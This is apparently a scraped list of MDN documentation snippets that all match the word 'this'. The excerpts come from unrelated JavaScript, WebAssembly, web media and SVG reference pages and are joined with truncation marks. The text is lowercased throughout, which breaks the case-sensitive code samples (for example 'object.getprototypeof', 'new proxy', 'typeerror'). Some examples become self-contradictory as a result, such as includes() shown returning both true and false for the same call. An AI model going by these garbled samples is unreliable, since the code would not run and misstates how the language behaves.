... var buz = { fog: 'stack' }; for (var name in buz) { if (buz.hasownproperty(name)) { console.log('
this is fog (' + name + ') for sure.
... value: ' + buz[name]); } else { console.log(name); // tostring or something else } } using hasownproperty as a property name javascript does not protect the property name hasownproperty; thus, if the possibility exists that an object might have a property with
this name, it is necessary to use an external hasownproperty to get correct results: var foo = { hasownproperty: function() { return false; }, bar: 'here be dragons' }; foo.hasownproperty('bar'); // always returns false // use another object's hasownproperty // and call it with '
this' set to foo ({}).hasownproperty.call(foo, 'bar'); // true // it's also possible to use the hasownproperty property // from the object prototype for
this purpose object.prototype.hasownproperty.call(foo, 'bar'); // true note that...
Object.preventExtensions() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method makes the [[prototype]] of the target immutable; any [[prototype]] re-assignment will throw a typeerror.
...
this behavior is specific to the internal [[prototype]] property, other properties of the target object will remain mutable.
...fixed.__proto__ = { oh: 'hai' }; non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Promise.prototype.finally() - JavaScript
this provides a way for code to be run whether the promise was fulfilled successfully or rejected once the promise has been dealt with.
...
this helps to avoid duplicating code in both the promise's then() and catch() handlers.
...
this use case is for precisely when you do not care about the rejection reason, or the fulfillment value, and so there's no need to provide it.
...let isloading = true; fetch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .catch(function(error) { console.error(error); /*
this line can also throw, e.g.
handler.getPrototypeOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... description interceptions
this trap can intercept these operations: object.getprototypeof() reflect.getprototypeof() __proto__ object.prototype.isprototypeof() instanceof invariants if the following invariants are violated, the proxy will throw a typeerror: getprototypeof() method must return an object or null.
... examples basic usage const obj = {}; const proto = {}; const handler = { getprototypeof(target) { console.log(target === obj); // true console.log(
this === handler); // true return proto; } }; const p = new proxy(obj, handler); console.log(object.getprototypeof(p) === proto); // true five ways to trigger the getprototypeof trap const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return array.prototype; } }); console.log( object.getprototypeof(p) === array.prototype, // true reflect.getprototypeof(p) === array.prototype, // true p.__proto__ === array.prototype, // tr...
handler.set() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
...
this is usually the proxy itself.
... interceptions
this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot change the value of a property to be different from the value of the corresponding target object property if the correspon...
RangeError - JavaScript
this can be encountered when: passing a value that is not one of the allowed string values to string.prototype.normalize(), or when attempting to create an array of an illegal length with the array constructor, or when passing bad values to the numeric methods number.prototype.toexponential(), number.prototype.tofixed() or number.prototype.toprecision().
... rangeerror.prototype.filename path to file that raised
this error.
... rangeerror.prototype.linenumber line number in file that raised
this error.
... rangeerror.prototype.columnnumber column number in line that raised
this error.
RegExp.prototype.sticky - JavaScript
the sticky property reflects whether or not the search is sticky (searches in strings only from the index indicated by the lastindex property of
this regular expression).
... the source for
this interactive example is stored in a github repository.
...the "y" flag indicates that it matches only from the index indicated by the lastindex property of
this regular expression in the target string (and does not attempt to match from any later indexes).
... you cannot change
this property directly.
RegExp - JavaScript
let re = /(\w+)\s(\w+)/ let str = 'john smith' let newstr = str.replace(re, '$2, $1') console.log(newstr)
this displays "smith, john".
...the line splitting provided in
this example works on all platforms.
... let text = 'some text\nand some more\r\nand yet\r
this is the end' let lines = text.split(/\r\n|\r|\n/) console.log(lines) // logs [ 'some text', 'and some more', 'and yet', '
this is the end' ] note that the order of the patterns in the regular expression matters.
...
this example demonstrates how one can separate out unicode characters from a word.
Planned changes to shared memory - JavaScript
starting with firefox 79, the features described in
this document are enabled by default.
... api changes as a result of
this newly required environment, there are a couple api implications: the atomics object is always available.
...there is hope that
this restriction can be removed in the future.
...when
this flag is set to true, the constructed memory object can be shared between workers via postmessage(), just like sharedarraybuffer, and the backing buffer of the memory object is a sharedarraybuffer.
String.prototype.anchor() - JavaScript
don't use
this method.
...also, the html specification no longer allows the <a> element to have a name attribute, so
this method doesn't even create valid markup.
... return value a string beginning with an <a name="name"> start tag, then the text str, and then an </a> end tag description don't use
this method.
...also, the html specification no longer allows the <a> element to have a name attribute, so
this method doesn't even create valid markup.
String.prototype.charAt() - JavaScript
the source for
this interactive example is stored in a github repository.
...if the index you supply is out of
this range, javascript returns an empty string.
... var str = 'a \ud87e\udc04 z'; // we could also use a non-bmp character directly for (var i = 0, chr; i < str.length; i++) { if ((chr = getwholechar(str, i)) === false) { continue; } // adapt
this line at the top of each loop, passing in the whole string and // the current iteration and returning a variable to represent the // individual character console.log(chr); } function getwholechar(str, i) { var code = str.charcodeat(i); if (number.isnan(code)) { return ''; // position not found } if (code < 0xd800 || code > 0xdfff) { return str.charat(i); } // high sur...
... let str = 'a\ud87e\udc04z' // we could also use a non-bmp character directly for (let i = 0, chr; i < str.length; i++) { [chr, i] = getwholecharandi(str, i) // adapt
this line at the top of each loop, passing in the whole string and // the current iteration and returning an array with the individual character // and 'i' value (only changed if a surrogate pair) console.log(chr) } function getwholecharandi(str, i) { let code = str.charcodeat(i) if (number.isnan(code)) { return '' // position not found } if (code < 0xd800 || code > 0xdfff) { ...
String.prototype.includes() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method lets you determine whether or not a string includes another string.
...for example, the following expression returns false: 'blue whale'.includes('blue') // returns false polyfill
this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
... however, you can easily polyfill
this method: if (!string.prototype.includes) { string.prototype.includes = function(search, start) { 'use strict'; if (search instanceof regexp) { throw typeerror('first argument must not be a regexp'); } if (start === undefined) { start = 0; } return
this.indexof(search, start) !== -1; }; } examples using includes() const str = 'to be, or not to be, that is the question.' console.log(str.includes('to be')) // true console.log(str.includes('question')) // true console.log(str.includes('nonexistent')) // false console.log(str.includes('to be', 1)) // false console.log(str.includes('to be')) // false console.log(str.includes('')) // true specifications specification ...
String.prototype.substr() - JavaScript
the source for
this interactive example is stored in a github repository.
...to use
this feature in jscript, you can use the following code: // only run when the substr() function is broken if ('ab'.substr(-1) != 'b') { /** * get the substring of a string * @param {integer} start where to start the substring * @param {integer} length how many characters to return * @return {string} */ string.prototype.substr = function(substr) { return function(star...
...t, length) { // call the original method return substr.call(
this, // did we get a negative start, calculate how much it is from the beginning of the string // adjust the start parameter for negative value start < 0 ?
...
this.length + start : start, length) } }(string.prototype.substr); } examples using substr() var astring = 'mozilla'; console.log(astring.substr(0, 1)); // 'm' console.log(astring.substr(1, 0)); // '' console.log(astring.substr(-1, 1)); // 'a' console.log(astring.substr(1, -1)); // '' console.log(astring.substr(-3)); // 'lla' console.log(astring.substr(1)); // 'ozilla' console.log(astring.substr(-20, 2)); // 'mo' console.log(astring.substr(20, 2)); // '' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.substr' in that specification.
String.prototype.substring() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method may be easier to remember, given that you don't need to know the starting and ending indices as you would in the above examples.
...the slice() method returns an empty string if
this is the case.
... // replaces olds with news in the string fulls function replacestring(olds, news, fulls) { for (let i = 0; i < fulls.length; ++i) { if (fulls.substring(i, i + olds.length) == olds) { fulls = fulls.substring(0, i) + news + fulls.substring(i + olds.length, fulls.length) } } return fulls } replacestring('world', 'web', 'brave new world') note that
this can result in an infinite loop if olds is itself a substring of news — for example, if you attempted to replace 'world' with 'otherworld' here.
String.prototype.trimStart() - JavaScript
trimleft() is an alias of
this method.
... the source for
this interactive example is stored in a github repository.
...in some engines
this means: string.prototype.trimleft.name === "trimstart"; polyfill //https://github.com/fabiovergani/js-polyfill_string-trimstart (function(w){ var string=w.string, proto=string.prototype; (function(o,p){ if(p in o?o[p]?false:true:true){ var r=/^\s+/; o[p]=o.trimleft||function(){ return
this.replace(r,'') } } })(pr...
...oto,'trimstart'); })(window); /* es6: (w=>{ const string=w.string, proto=string.prototype; ((o,p)=>{ if(p in o?o[p]?false:true:true){ const r=/^\s+/; o[p]=o.trimleft||function(){ return
this.replace(r,'') } } })(proto,'trimstart'); })(window); */ examples using trimstart() the following example displays the lowercase string 'foo ': var str = ' foo '; console.log(str.length); // 8 str = str.trimstart(); console.log(str.length); // 5 console.log(str); // 'foo ' specifications specification ecmascript (ecma-262)the definition of ' string.prototype.trimstart' in that specification.
Symbol.matchAll - JavaScript
this function is called by the string.prototype.matchall() method.
... the source for
this interactive example is stored in a github repository.
... description
this symbol is used for string.prototype.matchall() and specifically in regexp.prototype[@@matchall]().
... the following two examples return same result: 'abc'.matchall(/a/); /a/[symbol.matchall]('abc');
this method exists for customizing match behavior within regexp subclasses.
TypedArray.prototype.subarray() - JavaScript
the subarray() method returns a new typedarray on the same arraybuffer store and with the same element types as for
this typedarray object.
... the source for
this interactive example is stored in a github repository.
...the whole array will be included in the new view if
this value is not specified.
... also note that
this is creating a new view on the existing buffer; changes to the new object's contents will impact the original object and vice versa.
WebAssembly.CompileError - JavaScript
webassembly.compileerror.prototype.filename path to file that raised
this error.
... webassembly.compileerror.prototype.linenumber line number in file that raised
this error.
... webassembly.compileerror.prototype.columnnumber column number in line that raised
this error.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.LinkError - JavaScript
webassembly.linkerror.prototype.filename path to file that raised
this error.
... webassembly.linkerror.prototype.linenumber line number in file that raised
this error.
... webassembly.linkerror.prototype.columnnumber column number in line that raised
this error.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.RuntimeError - JavaScript
webassembly.runtimeerror.prototype.filename path to file that raised
this error.
... webassembly.runtimeerror.prototype.linenumber line number in file that raised
this error.
... webassembly.runtimeerror.prototype.columnnumber column number in line that raised
this error.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.instantiateStreaming() - JavaScript
this is the most efficient, optimized way to load wasm code.
...
this module can be instantiated again or shared via postmessage().
... note: for
this to work, .wasm files should be returned with an application/wasm mime type by the server.
... browser compatibility the compatibility table on
this page is generated from structured data.
parseFloat() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this argument is not a string, then it is converted to one using the tostring abstract operation.
... leading whitespace in
this argument is ignored.
...
this happens because the trailing n character is discarded.
undefined - JavaScript
property attributes of undefined writable no enumerable no configurable no the source for
this interactive example is stored in a github repository.
...(even when
this is not the case, avoid overriding it.) a variable that has not been assigned a value is of type undefined.
... // don't do
this // logs "foo string" (function() { var undefined = 'foo'; console.log(undefined, typeof undefined); })(); // logs "foo string" (function(undefined) { console.log(undefined, typeof undefined); })('foo'); examples strict equality and undefined you can use undefined and the strict equality and inequality operators to determine whether a variable has a value.
...
this is because null is not equivalent to undefined.
Logical OR (||) - JavaScript
however, the || operator actually returns the value of one of the specified operands, so if
this operator is used with non-boolean values, it will return a non-boolean value.
... the source for
this interactive example is stored in a github repository.
...
this happens because the value of the operator is already determined after the evaluation of the first operand.
...se // t || f returns true o4 = false || (3 == 4) // f || f returns false o5 = 'cat' || 'dog' // t || t returns "cat" o6 = false || 'cat' // f || t returns "cat" o7 = 'cat' || false // t || f returns "cat" o8 = '' || false // f || f returns false o9 = false || '' // f || f returns "" o10 = false || varobject // f || object returns varobject note: if you use
this operator to provide a default value to some variable, be aware that any falsy value will not be used.
Function expression - JavaScript
the source for
this interactive example is stored in a github repository.
...
this name is then local only to the function body (scope).
...
this also avoids using the non-standard arguments.callee property.
...
this also applies to arrow functions (arrows don't have a name so you can only give the variable an implicit name).
void operator - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax void expression description
this operator allows evaluating expressions that produce a value into places where an expression that evaluates to undefined is desired.
...
this can cause unintended side effects by returning the result of a function call that previously returned nothing.
... button.onclick = () => void dosomething();
this ensures the return value of dosomething changing from undefined to true will not change the behavior of
this code.
export - JavaScript
this can be achieved with the "export from" syntax: export { default as function1, function2 } from 'bar.js'; which is comparable to a combination of import and export: import { default as function1, function2 } from 'bar.js'; export { function1, function2 }; but where function1 and function2 do not become available inside the current module.
... note: the following is syntactically invalid despite its import equivalent: import defaultexport from 'bar.js'; // valid export defaultexport from 'bar.js'; // invalid the correct way of doing
this is to rename the export: export { default as defaultexport } from 'bar.js'; examples using named exports in a module my-module.js, we could include the following code: // module "my-module.js" function cube(x) { return x * x * x; } const foo = math.pi + math.sqrt2; var graph = { options: { color:'white', thickness:'2px' }, draw: function() { console.log('from graph draw function'); } } export { cube, foo, graph }; then in the top-level module included in your html page, we could have: import { cube, foo, graph } from './my-module.js'; graph.options = ...
...{ color:'blue', thickness:'3px' }; graph.draw(); console.log(cube(3)); // 27 console.log(foo); // 4.555806215962888 it is important to note the following: you need to include
this script in your html with a <script> element of type="module", so that it gets recognised as a module and dealt with appropriately.
...rd to import the default export: import cube from './my-module.js'; console.log(cube(3)); // 27 using export from let's take an example where we have the following hierarchy: childmodule1.js: exporting myfunction and myvariable childmodule2.js: exporting myclass parentmodule.js: acting as an aggregator (and doing nothing else) top level module: consuming the exports of parentmodule.js
this is what it would look like using code snippets: // in childmodule1.js let myfunction = ...; // assign something useful to myfunction let myvariable = ...; // assign something useful to myvariable export {myfunction, myvariable}; // in childmodule2.js let myclass = ...; // assign something useful to myclass export myclass; // in parentmodule.js // only aggregating the exports from childmodule...
function declaration - JavaScript
the source for
this interactive example is stored in a github repository.
... conditionally created functions functions can be conditionally declared, that is, a function statement can be nested within an if statement, however the results are inconsistent across implementations and therefore
this pattern should not be used in production code.
... var hoisted = "foo" in
this; console.log(`'foo' name ${hoisted ?
...typeof foo is function the results are exactly the same for a condition that evaluates to true var hoisted = "foo" in
this; console.log(`'foo' name ${hoisted ?
display - Web app manifests
this can be used to provide a consistent user experience between launching a site from an url and launching it from a desktop icon.
...
this can include the application having a different window, its own icon in the application launcher, etc.
... in
this mode, the user agent will exclude ui elements for controlling navigation, but can include other ui elements such as a status bar.
...
this is the default.
<mfrac> - MathML
this attribute is deprecated and will be removed in the future.
...
this attribute is deprecated and will be removed in the future.
...
this attributes accepts any length values.
...
this attribute is deprecated and will be removed in the future.
Handling media support issues in web content - Web media technologies
this places a small, but reasonably easily overcome, burden on the web developer: to properly handle the situation when the user's browser can't handle a particular type of media.
...
this guide covers techniques you can use to develop web content that meets your media needs while providing the most broadly compatible experience possible.
...
this may be simply the first frame of video; however, in many cases, the first frame is blank, or contains nothing but the logo of a business, or some other image that doesn't give the reader any context for the video's contents.
...
this requires creating your images using progressive formats, such as progressive jpeg or interlaced png.
Guide to streaming audio and video - Web media technologies
in
this guide, we'll examine the techniques used to stream audio and/or video media on the web, and how you can optimize your code, your media, your server, and the options you use while performing the streaming to bring out the best quality and performance possible.
...hls may also be supported in other environments, although in some cases
this support is conditional.
... for example, because many web sites' mobile-specific content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors from occurring due to
this assumption being incorrect.
...in
this way, live streams can be made flexible and highly performant.
Using images in HTML - Web media technologies
in
this guide you'll find links to resources that deal with adding images to websites.
...additionally,
this article provides guidance for selecting the best image file type for a given situation.
... mapping the width and height attributes of media container elements to their aspect-ratio
this changes how browsers load images so their aspect ratios are calculated by the browser early on and can later be used to correct the display size of an image before it's loaded.
... learn html: responsive images in
this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
CSS and JavaScript animation performance - Web Performance
in
this article, we analyse the performance differences between css- and javascript-based animation.
...both of them are classified under the same css-based umbrella in
this article.
...
this can occur because css transitions/animations are simply resampling element styles in the main ui thread before each repaint event happens, which is almost the same as resampling element styles via a requestanimationframe() callback, also triggered before the next repaint.
... in
this section we'll walk you through a performance test, using firefox, to see what animation method seems better overall.
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
in
this article we define and compare these two performance monitoring approaches.
...
this technique monitors an application’s actual user interactions.
...
this is particularly important for large sites or complex apps, where the functionality or content is constantly changing, and where the population accessing the application may differ greatly in life experiences from those creating it.
... while
this is more expensive and likely less convenient, it provides vital user experience data.
accumulate - SVG: Scalable Vector Graphics
this attribute said to the animation if the value is added to the previous animated attribute's value on each iteration.
... four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration.
...
this attribute is ignored if the target attribute value does not support addition, or if the animation element does not repeat.
...
this attribute will be ignored if the animation function is specified with only the to attribute.
arabic-form - SVG: Scalable Vector Graphics
only one element is using
this attribute: <glyph> context notes value initial | medial | terminal | isolated default value isolated animatable no initial
this value indicates that the glyph represents the initial form.
... medial
this value indicates that the glyph represents the medial form.
... terminal
this value indicates that the glyph represents the terminal form.
... isolated
this value indicates that the glyph represents the isolated form.
calcMode - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value discrete | linear | paced | spline default value linear animatable no discrete
this specifies that the animation function will jump from one value to the next without any interpolation.
...except for <animatemotion>,
this is the default value.
...
this is only supported for values that define a linear numeric range, and for which some notion of "distance" between points can be calculated (e.g.
...for <animatemotion>,
this is the default value.
font-size-adjust - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px">
this text uses the times font (10px), which is hard to read in small sizes.
... </text> <text y="40" font-family="verdana, sans-serif" font-size="10px">
this text uses the verdana font (10px), which has relatively large lowercase letters.
... </text> <text y="60" font-family="times, serif" font-size="10px" font-size-adjust="0.58">
this is the 10px times, but now adjusted to the same aspect ratio as the verdana.
...
this means that the first-choice font, when available, will appear the same size in browsers, whether or not they support font-size-adjust.
glyph-orientation-vertical - SVG: Scalable Vector Graphics
this attribute is applied only to text written in a vertical writing-mode.
...
this reorientation rule applies only to the first-level non-ideographic text.
... note: text set in
this "rotated" manner may contain ligatures or other glyph combining and reordering common to the language and script.
... (
this presentation form does not disable auto-ligature formation or similar context-driven variations.) the determination of which characters should be auto-rotated may vary across user agents.
lang - SVG: Scalable Vector Graphics
the glyph was meant to be used if the xml:lang attribute exactly matched one of the languages given in the value of
this parameter, or if the xml:lang attribute exactly equaled a prefix of one of the languages given in the value of
this parameter such that the first tag character following the prefix was "-".
... all elements are using
this attribute.
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-us">
this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag>
this value specifies the language used for the element.
... the syntax of
this value is defined in the bcp 47 specification.
method - SVG: Scalable Vector Graphics
only one element is using
this attribute: <textpath> textpath for <textpath>, method indicates the method by which text should be rendered along the path.
... value align | stretch default value align animatable yes align
this value indicates that the characters should be rendered so that they are not stretched or warped.
... stretch
this value indicates that the character outlines will be converted into paths, and then stretched and possibly warped.
... with
this approach, connected characters, such as in cursive fonts, will maintain their connections.
name - SVG: Scalable Vector Graphics
two elements are using
this attribute: <color-profile> and <font-face-name> color-profile for <color-profile>, name defines the name of the color profile.
... value <name> default value none animatable yes <name>
this value is the name which is used as the first parameter for icc color specifications within fill, stroke, stop-color, flood-color and lighting-color property values to identify the color profile to use for the icc color specification and the name which can be the value of the color-profile property.
... value <name> default value none animatable yes <name>
this value specifies the name of a local font.
... unlike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descriptor, the font name specified in
this attribute is not surrounded in single or double quotes.
path - SVG: Scalable Vector Graphics
two elements are using
this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
... value <path-data> default value none animatable no <path-data>
this value defines the motion path along which the referenced element is animated.
...
this means that the text within the <textpath> element does not render or contribute to the bounding box of the <text> element.
... value <path-data> default value path specified in href animatable yes <path-data>
this value defines the text path along which the glyphs of the <text> element are aligned.
patternContentUnits - SVG: Scalable Vector Graphics
note: that
this attribute has no effect if attribute viewbox is specified on the <pattern> element.
... only one element is using
this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse
this value indicates that all coordinates inside the <pattern> element refer to the user coordinate system as defined when the pattern tile was created.
... objectboundingbox
this value indicates that all coordinates inside the <pattern> element are relative to the bounding box of the element the pattern is applied to.
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/md...
...n_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true
this value indicates that the convolution will only apply to the color channels.
... in
this case, the filter will temporarily unpremultiply the color component values and apply the kernel.
... false
this value indicates that the convolution will apply to all channels, including the alpha channel.
preserveAspectRatio - SVG: Scalable Vector Graphics
because the aspect ratio of an svg image is defined by the viewbox attribute, if
this attribute isn't set, the preserveaspectratio attribute has no effect (with one exception, the <image> element, as described below).
... meet or slice reference the meet or slice reference is optional and, if provided, must be one of the following keywords: meet (the default) - scale the graphic such that: aspect ratio is preserved the entire viewbox is visible within the viewport the viewbox is scaled up as much as possible, while still meeting the other criteria in
this case, if the aspect ratio of the graphic does not match the viewport, some of the viewport will extend beyond the bounds of the viewbox (i.e., the area into which the viewbox will draw will be smaller than the viewport).
... slice - scale the graphic such that: aspect ratio is preserved the entire viewport is covered by the viewbox the viewbox is scaled down as much as possible, while still meeting the other criteria in
this case, if the aspect ratio of the viewbox does not match the viewport, some of the viewbox will extend beyond the bounds of the viewport (i.e., the area into which the viewbox will draw is larger than the viewport).
... elements seven elements are using
this attribute: <svg>, <symbol>, <image>, <feimage>, <marker>, <pattern>, and <view>.
restart - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.ge...
...telementbyid("restart").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always
this value indicates that the animation can be restarted at any time.
... whennotactive
this value indicates that the animation can only be restarted when it is not active (i.e.
... never
this value indicates that the animation cannot be restarted for the time the document is loaded.
side - SVG: Scalable Vector Graphics
only one element is using
this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
...left
this value places the text on the left side of the path (relative to the path direction).
... right
this value places the text on the right side of the path (relative to the path direction).
...
this effectively reverses the path direction.
to - SVG: Scalable Vector Graphics
the value of the attribute will change between the from attribute value and
this value.
... five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
... value <value> default value none animatable no the exact value type for
this attribute depend on the value of the attribute that will be animated.
... value <value> default value none animatable no the exact value type for
this attribute depend on the value of the attribute that will be animated.
unicode - SVG: Scalable Vector Graphics
if a character is provided, then
this glyph corresponds to the given unicode character.
... if multiple characters are provided, then
this glyph corresponds to the given sequence of unicode characters.
...if the attribute is not provided for a given <glyph>, then the only way to use
this glyph is via an <altglyph> reference.
... only one element is using
this attribute: <glyph> context notes value <string> default value none animatable no <string>
this value specifies one or more unicode characters corresponding to a glyph.
visibility - SVG: Scalable Vector Graphics
" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" height="80" visibility="visible" /> <rect x="120" y="20" width="80" height="80" visibility="hidden"/> </g> </svg> usage notes value visible | hidden | collapse default value visible animatable yes visible
this value indicates that the element will be painted.
... hidden
this value indicates that the element will not be painted.
... collapse
this value is equal to hidden.
...m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) {
this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible");
this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
writing-mode - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> usage notes default value horizontal-tb value horizontal-tb | vertical-rl | vertical-lr animatable yes horizontal-tb
this value defines a top-to-bottom block flow direction.
... vertical-rl
this value defines a right-to-left block flow direction.
... vertical-lr
this value defines a left-to-right block flow direction.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
<animateMotion> - SVG: Scalable Vector Graphics
d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints
this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values.
... value type: <number>*; default value: none; animatable: no path
this attribute defines the path of the motion, using the same syntax as the d attribute.
... value type: <string>; default value: none; animatable: no rotate
this attribute defines a rotation applied to the elment animated along a path, usually to make it pointing in the direction of the animation.
...lue attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes
this element implements the svganimatemotionelement interface.
<stop> - SVG: Scalable Vector Graphics
this element is always a child of a <lineargradient> or <radialgradient> element.
...www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset
this attribute defines where the gradient stop is placed along the gradient vector.
... value type: <number>|<percentage>; default value: 0; animatable: yes stop-color
this attribute defines the color of the gradient stop.
... value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity
this attribute defines the opacity of the gradient stop.
Specification Deviations - SVG: Scalable Vector Graphics
this page lists those deviations/extensions and our reasoning for them.
...in general
this change will not be visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style' attribute are elements that are not displayed directly).
...
this seems like a good thing.
...note that
this extension does not mean that we add a css::cssstyledeclaration 'style' property to the dom of elements that do not implement the svgstylable interface.
Introduction - SVG: Scalable Vector Graphics
but all these extra features of the language rely on
this relatively small set of elements to define the graphics area.
...however,
this tutorial will rely on the trusty xml or text editor (your choice).
...
this tutorial attempts to cover the basics.
...
this work was discontinued.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
this element has different attributes that help us create the clipping region.
...the keyword sourcealpha identifies the input for
this primitive, is in
this case input 'in'.
... svg filter example <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3"/> </filter> </defs> <g id="ghost" style="filter: url(#drop-shadow);"/> <!--ghost drawing in here--> </g>
this above example will not produced the desired output.
...<femerge> primitive contains the nodes <femergenode> taking as input the result offsetblur ,
